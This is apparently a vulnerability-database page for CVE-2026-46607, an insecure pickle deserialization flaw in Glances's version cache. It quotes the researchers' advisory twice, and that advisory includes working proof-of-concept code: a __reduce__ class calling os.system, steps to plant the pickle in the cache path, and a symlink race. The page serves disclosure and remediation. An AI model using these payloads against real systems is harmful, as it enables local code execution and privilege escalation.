CVE-2026-46607: Glances Glances Has Insecure Pickle Deserialization Vulnerability

HIGH
Advisory Identifier: GHSA-9837-48hr-q32j
CVSS 7.8
CWE-502
Published
Advisory Summary

CVE-2026-46607 is a HIGH (CVSS 7.8) glances has insecure pickle deserialization vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Glances libraries in the PyPI ecosystem. The issue involves glances has insecure pickle deserialization in its version cache that leads to arbitrary code execution. Remediation is available by upgrading affected packages to version 4.5.5.

CVE-2026-46607 at a Glance

CVE Identifier CVE-2026-46607
GHSA Identifier GHSA-9837-48hr-q32j
Severity HIGH
CVSS v3.1 Base Score 7.8
CWE Classification CWE-502: Deserialization of Untrusted Data
Affected Product Glances
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-46607

To remediate this vulnerability, upgrade all affected Glances dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

glances fixed: 4.5.5
pip install glances>=4.5.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show glances

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-46607, inspect your installed packages using pip:

pip show glances

Analyze the terminal output to locate any version of Glances in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.5), your application is affected.

Note: The pip show glances command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Glances, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `glances/outdated.py` uses `pickle.load()` to read a version-check cache file stored at a predictable, world-accessible path (`~/.cache/glances/glances-version.db` or `$XDG_CACHE_HOME/glances/glances-version.db`). No integrity check, signature verification, or format validation is performed before deserialization. An attacker with write access to that path — through any of several realistic local or container-level scenarios — can plant a malicious pickle file and achieve arbitrary code execution as the OS user running Glances the next time it starts with version checking enabled (the default). --- ### Details **Affected file:** `glances/outdated.py`, method `Outdated._load_cache()`, line 121 **Direct URL (commit 04579778e733d705898a169e049dc84772c852da):** - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outdated.py#L121 ```python # outdated.py (_load_cache, line 119-127) try: with open(self.cache_file, 'rb') as f: cached_data = pickle.load(f) # ← no integrity check except Exception as e: logger.debug(f"Cannot read version from cache file: {self.cache_file} ({e})") ... ``` `self.cache_file` is constructed from the XDG cache directory path at `Outdated.__init__()`: ```python # outdated.py (__init__) self.cache_file = os.path.join( user_cache_dir('glances')[0], 'glances-version.db' ) ``` On a default Linux installation this resolves to `/home/john/.cache/glances/glances-version.db` (or `/root/.cache/glances/…` when Glances runs as root). Python's `pickle` module is an execution-capable serialisation format: any class that implements `__reduce__` can embed an arbitrary callable and argument tuple that Python will invoke unconditionally at `pickle.load()` time. There is no safe subset of pickle; the only safe mitigation is to not use it for untrusted data. The code was verified on x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da). A malicious pickle crafted with `os.system()` via `__reduce__` executed the injected shell command successfully before the surrounding Python code raised a `TypeError`. --- ### PoC **Special configuration required** No non-default Glances configuration is needed. Version checking is enabled by default (`check_update = true`). The only pre condition is that the attacker can write to the Glances user's XDG cache directory — see the attack scenarios below for how this arises in practice. --- **Attack scenario A — local privilege escalation (shared multi-user host)** Prerequisites: Glances runs periodically (e.g. via systemd or cron) as a privileged user (root or a dedicated monitoring account). The attacker is an unprivileged local user who has write access to the Glances user's `~/.cache/glances/` directory (e.g. the directory or an ancestor is group- or world-writable, or was created with overly permissive umask). **Step 1 — Identify the cache path** ```bash python3 -c "from glances.config import user_cache_dir; print(user_cache_dir()[0])" # Example output: /root/.cache/glances ``` **Step 2 — Craft and plant a malicious pickle** ```python import pickle, os, pathlib class MaliciousPayload: def __reduce__(self): # This command runs as the Glances process user cmd = 'id >> /tmp/glances_rce_proof.txt' return (os.system, (cmd,)) cache_dir = pathlib.Path('/root/.cache/glances') # adjust to target cache_file = cache_dir / 'glances-version.db' cache_dir.mkdir(parents=True, exist_ok=True) cache_file.write_bytes(pickle.dumps(MaliciousPayload())) print(f'Payload written to {cache_file}') ``` **Step 3 — Wait for Glances to start (or restart it)** Glances calls `_load_cache()` automatically at startup when `check_update = true` (the compiled-in default). No special configuration is required by the attacker. **Step 4 — Verify execution** ```bash cat /tmp/glances_rce_proof.txt # uid=0(root) gid=0(root) groups=0(root) ← output from the Glances-user context ``` --- **Attack scenario B — container / shared-volume poisoning** A compromised container that shares a Docker/Podman volume with the Glances container can write to the cache path on the shared volume. The next time Glances restarts (e.g. after a rolling update), the payload executes inside the Glances container with its privileges. --- **Attack scenario C — symlink race (TOCTOU)** Before the Glances cache directory is created for the first time (e.g. on a fresh installation), an attacker with write access to `~/.cache/` can create a symlink: ```bash mkdir -p /home/john/.cache ln -s /tmp/attacker_controlled /home/john/.cache/glances ``` When Glances writes its legitimate cache file it writes instead to `/tmp/attacker_controlled/glances-version.db`, which the attacker can replace with the malicious pickle before the next start. --- **Minimal self-contained reproduction** ```python import sys, os, pickle, pathlib, argparse sys.path.insert(0, '/path/to/glances') # adjust to local clone FAKE_CACHE = pathlib.Path('/tmp/glances_test_cache') CACHE_FILE = FAKE_CACHE / 'glances-version.db' FAKE_CACHE.mkdir(parents=True, exist_ok=True) class Exploit: def __reduce__(self): return (os.system, ('echo RCE_confirmed >> /tmp/glances_rce.txt',)) CACHE_FILE.write_bytes(pickle.dumps(Exploit())) # Reproduce the exact Glances code path from glances.outdated import Outdated obj = object.__new__(Outdated) obj.args = argparse.Namespace(disable_check_update=False, time=2) obj.data = {} obj.cache_file = str(CACHE_FILE) try: obj._load_cache() # pickle.load() fires here except Exception: pass # expected: int not subscriptable import time; time.sleep(0.2) print(pathlib.Path('/tmp/glances_rce.txt').read_text()) # Prints: RCE_confirmed ``` --- ### Impact **Vulnerability type:** Insecure Deserialization (CWE-502) **Who is impacted:** Any system where Glances is run with version checking enabled (the default) in a shared environment where a less-privileged process can write to the Glances user's XDG cache directory, or in any containerised deployment using shared volumes. **Impact:** - **Confidentiality:** Full — the attacker gains code execution in the context of the Glances process and can read any data accessible to that user. - **Integrity:** Full — arbitrary commands can modify files, install persistence mechanisms, or alter system state. - **Availability:** Full — the Glances process and, if running as root, the system can be disrupted. On many deployments Glances is run as root (required to access hardware performance counters without specific capabilities), meaning successful exploitation yields full root code execution without any further privilege escalation step. --- ### Suggested Fix Replace `pickle` with `json` for the version cache. The data stored is a simple Python dictionary containing two string values and a `datetime` object; a JSON representation is straightforward: ```python import json from datetime import datetime # Saving with open(self.cache_file, 'w', encoding='utf-8') as f: json.dump({ 'installed_version': self.installed_version(), 'latest_version': latest, 'refresh_date': datetime.now().isoformat(), }, f) # Loading with open(self.cache_file, 'r', encoding='utf-8') as f: cached_data = json.load(f) cached_data['refresh_date'] = datetime.fromisoformat(cached_data['refresh_date']) ``` If pickle is retained for any reason, the cache file must be protected with an HMAC keyed from a Glances-managed secret (e.g. a random key stored in the Glances config directory, which should itself be mode 0600). As an additional hardening measure, restrict the permissions of the Glances cache directory to 0700 at creation time. --- ### Responsible Disclosure The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first. --- ### Credits This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team. ---

CVE-2026-46607 Affected Glances Versions

1 component(s)
Fixed Versions:
4.5.5
Product / Package Ecosystem Affected Versions Fixed Version
glances
PyPI
< 4.5.5
4.5.5

References

Frequently Asked Questions

What is CVE-2026-46607?
CVE-2026-46607 is a security vulnerability in Glances involving Glances has Insecure Pickle Deserialization in its Version Cache that Leads to Arbitrary Code Execution under CWE-502: Deserialization of Untrusted Data.
Which Glances versions are affected?
Affected versions include releases prior to 4.5.5 across affected packages: glances.
What version fixes CVE-2026-46607?
Upgrading to 4.5.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is glances affected?
Yes, glances is affected in releases prior to 4.5.5. Upgrade your dependency to 4.5.5 or later.
What is the CVSS score of CVE-2026-46607?
CVE-2026-46607 has a CVSS v3.1 base score of 7.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-46607?
CVE-2026-46607 is classified under CWE-502: Deserialization of Untrusted Data (The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.).
How can I check PyPI dependencies for CVE-2026-46607?
Run the dependency tree command: 'pip show glances'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9837-48hr-q32j",
  "modified" : "2026-07-21T14:43:54Z",
  "published" : "2026-06-22T21:21:07Z",
  "aliases" : [ "CVE-2026-46607" ],
  "summary" : "Glances has Insecure Pickle Deserialization in its Version Cache that Leads to Arbitrary Code Execution",
  "details" : "### Summary\n\n`glances/outdated.py` uses `pickle.load()` to read a version-check cache file stored at a predictable, world-accessible path (`~/.cache/glances/glances-version.db` or `$XDG_CACHE_HOME/glances/glances-version.db`). No integrity check, signature verification, or format validation is performed before deserialization.  An attacker with write access to that path — through any of several realistic local or container-level scenarios — can plant a malicious pickle file and achieve arbitrary code execution as the OS user running Glances the next time it starts with version checking enabled (the default).\n\n---\n\n### Details\n\n**Affected file:** `glances/outdated.py`, method `Outdated._load_cache()`, line 121\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/outdated.py#L121\n\n```python\n# outdated.py  (_load_cache, line 119-127)\ntry:\n    with open(self.cache_file, 'rb') as f:\n        cached_data = pickle.load(f)          # ← no integrity check\nexcept Exception as e:\n    logger.debug(f\"Cannot read version from cache file: {self.cache_file} ({e})\")\n    ...\n```\n\n`self.cache_file` is constructed from the XDG cache directory path at `Outdated.__init__()`:\n\n```python\n# outdated.py  (__init__)\nself.cache_file = os.path.join(\n    user_cache_dir('glances')[0],\n    'glances-version.db'\n)\n```\n\nOn a default Linux installation this resolves to `/home/john/.cache/glances/glances-version.db` (or `/root/.cache/glances/…` when Glances runs as root).\n\nPython's `pickle` module is an execution-capable serialisation format: any class that implements `__reduce__` can embed an arbitrary callable and argument tuple that Python will invoke unconditionally at `pickle.load()` time.  There is no safe subset of pickle; the only safe mitigation is to not use it for untrusted data.\n\nThe code was verified on x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).  A malicious pickle crafted with `os.system()` via `__reduce__` executed the injected shell command successfully before the surrounding Python code raised a `TypeError`.\n\n---\n\n### PoC\n\n**Special configuration required**\n\nNo non-default Glances configuration is needed.  Version checking is enabled by default (`check_update = true`).  The only pre condition is that the attacker can write to the Glances user's XDG cache directory — see the attack scenarios below for how this arises in practice.\n\n---\n\n**Attack scenario A — local privilege escalation (shared multi-user host)**\n\nPrerequisites: Glances runs periodically (e.g. via systemd or cron) as a privileged user (root or a dedicated monitoring account).  The attacker is an unprivileged local user who has write access to the Glances user's `~/.cache/glances/` directory (e.g. the directory or an ancestor is group- or world-writable, or was created with overly permissive umask).\n\n**Step 1 — Identify the cache path**\n\n```bash\npython3 -c \"from glances.config import user_cache_dir; print(user_cache_dir()[0])\"\n# Example output: /root/.cache/glances\n```\n\n**Step 2 — Craft and plant a malicious pickle**\n\n```python\nimport pickle, os, pathlib\n\nclass MaliciousPayload:\n    def __reduce__(self):\n        # This command runs as the Glances process user\n        cmd = 'id >> /tmp/glances_rce_proof.txt'\n        return (os.system, (cmd,))\n\ncache_dir  = pathlib.Path('/root/.cache/glances')   # adjust to target\ncache_file = cache_dir / 'glances-version.db'\ncache_dir.mkdir(parents=True, exist_ok=True)\ncache_file.write_bytes(pickle.dumps(MaliciousPayload()))\nprint(f'Payload written to {cache_file}')\n```\n\n**Step 3 — Wait for Glances to start (or restart it)**\n\nGlances calls `_load_cache()` automatically at startup when `check_update = true` (the compiled-in default). No special configuration is required by the attacker.\n\n**Step 4 — Verify execution**\n\n```bash\ncat /tmp/glances_rce_proof.txt\n# uid=0(root) gid=0(root) groups=0(root)    ← output from the Glances-user context\n```\n\n---\n\n**Attack scenario B — container / shared-volume poisoning**\n\nA compromised container that shares a Docker/Podman volume with the Glances container can write to the cache path on the shared volume. The next time Glances restarts (e.g. after a rolling update), the payload executes inside the Glances container with its privileges.\n\n---\n\n**Attack scenario C — symlink race (TOCTOU)**\n\nBefore the Glances cache directory is created for the first time (e.g. on a fresh installation), an attacker with write access to `~/.cache/` can create a symlink:\n\n```bash\nmkdir -p /home/john/.cache\nln -s /tmp/attacker_controlled /home/john/.cache/glances\n```\n\nWhen Glances writes its legitimate cache file it writes instead to `/tmp/attacker_controlled/glances-version.db`, which the attacker can replace with the malicious pickle before the next start.\n\n---\n\n**Minimal self-contained reproduction**\n\n```python\nimport sys, os, pickle, pathlib, argparse\n\nsys.path.insert(0, '/path/to/glances')   # adjust to local clone\n\nFAKE_CACHE = pathlib.Path('/tmp/glances_test_cache')\nCACHE_FILE = FAKE_CACHE / 'glances-version.db'\nFAKE_CACHE.mkdir(parents=True, exist_ok=True)\n\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, ('echo RCE_confirmed >> /tmp/glances_rce.txt',))\n\nCACHE_FILE.write_bytes(pickle.dumps(Exploit()))\n\n# Reproduce the exact Glances code path\nfrom glances.outdated import Outdated\nobj = object.__new__(Outdated)\nobj.args = argparse.Namespace(disable_check_update=False, time=2)\nobj.data = {}\nobj.cache_file = str(CACHE_FILE)\n\ntry:\n    obj._load_cache()            # pickle.load() fires here\nexcept Exception:\n    pass                         # expected: int not subscriptable\n\nimport time; time.sleep(0.2)\nprint(pathlib.Path('/tmp/glances_rce.txt').read_text())\n# Prints: RCE_confirmed\n```\n\n---\n\n### Impact\n\n**Vulnerability type:** Insecure Deserialization (CWE-502)\n\n**Who is impacted:** Any system where Glances is run with version checking enabled (the default) in a shared environment where a less-privileged process can write to the Glances user's XDG cache directory, or in any containerised deployment using shared volumes.\n\n**Impact:**\n- **Confidentiality:** Full — the attacker gains code execution in the context of the Glances process and can read any data accessible to that user.\n- **Integrity:** Full — arbitrary commands can modify files, install persistence mechanisms, or alter system state.\n- **Availability:** Full — the Glances process and, if running as root, the system can be disrupted.\n\nOn many deployments Glances is run as root (required to access hardware performance counters without specific capabilities), meaning successful exploitation yields full root code execution without any further privilege escalation step.\n\n---\n\n### Suggested Fix\n\nReplace `pickle` with `json` for the version cache.  The data stored is a simple Python dictionary containing two string values and a `datetime` object; a JSON representation is straightforward:\n\n```python\nimport json\nfrom datetime import datetime\n\n# Saving\nwith open(self.cache_file, 'w', encoding='utf-8') as f:\n    json.dump({\n        'installed_version': self.installed_version(),\n        'latest_version':    latest,\n        'refresh_date':      datetime.now().isoformat(),\n    }, f)\n\n# Loading\nwith open(self.cache_file, 'r', encoding='utf-8') as f:\n    cached_data = json.load(f)\n    cached_data['refresh_date'] = datetime.fromisoformat(cached_data['refresh_date'])\n```\n\nIf pickle is retained for any reason, the cache file must be protected with an HMAC keyed from a Glances-managed secret (e.g. a random key stored in the Glances config directory, which should itself be mode 0600).\n\nAs an additional hardening measure, restrict the permissions of the Glances cache directory to 0700 at creation time.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "glances"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/security/advisories/GHSA-9837-48hr-q32j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46607"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-9837-48hr-q32j"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nicolargo/glances"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/glances/PYSEC-2026-2496.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://pypi.org/project/glances"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-502" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-22T21:21:07Z",
    "nvd_published_at" : "2026-06-25T19:16:37Z"
  }
}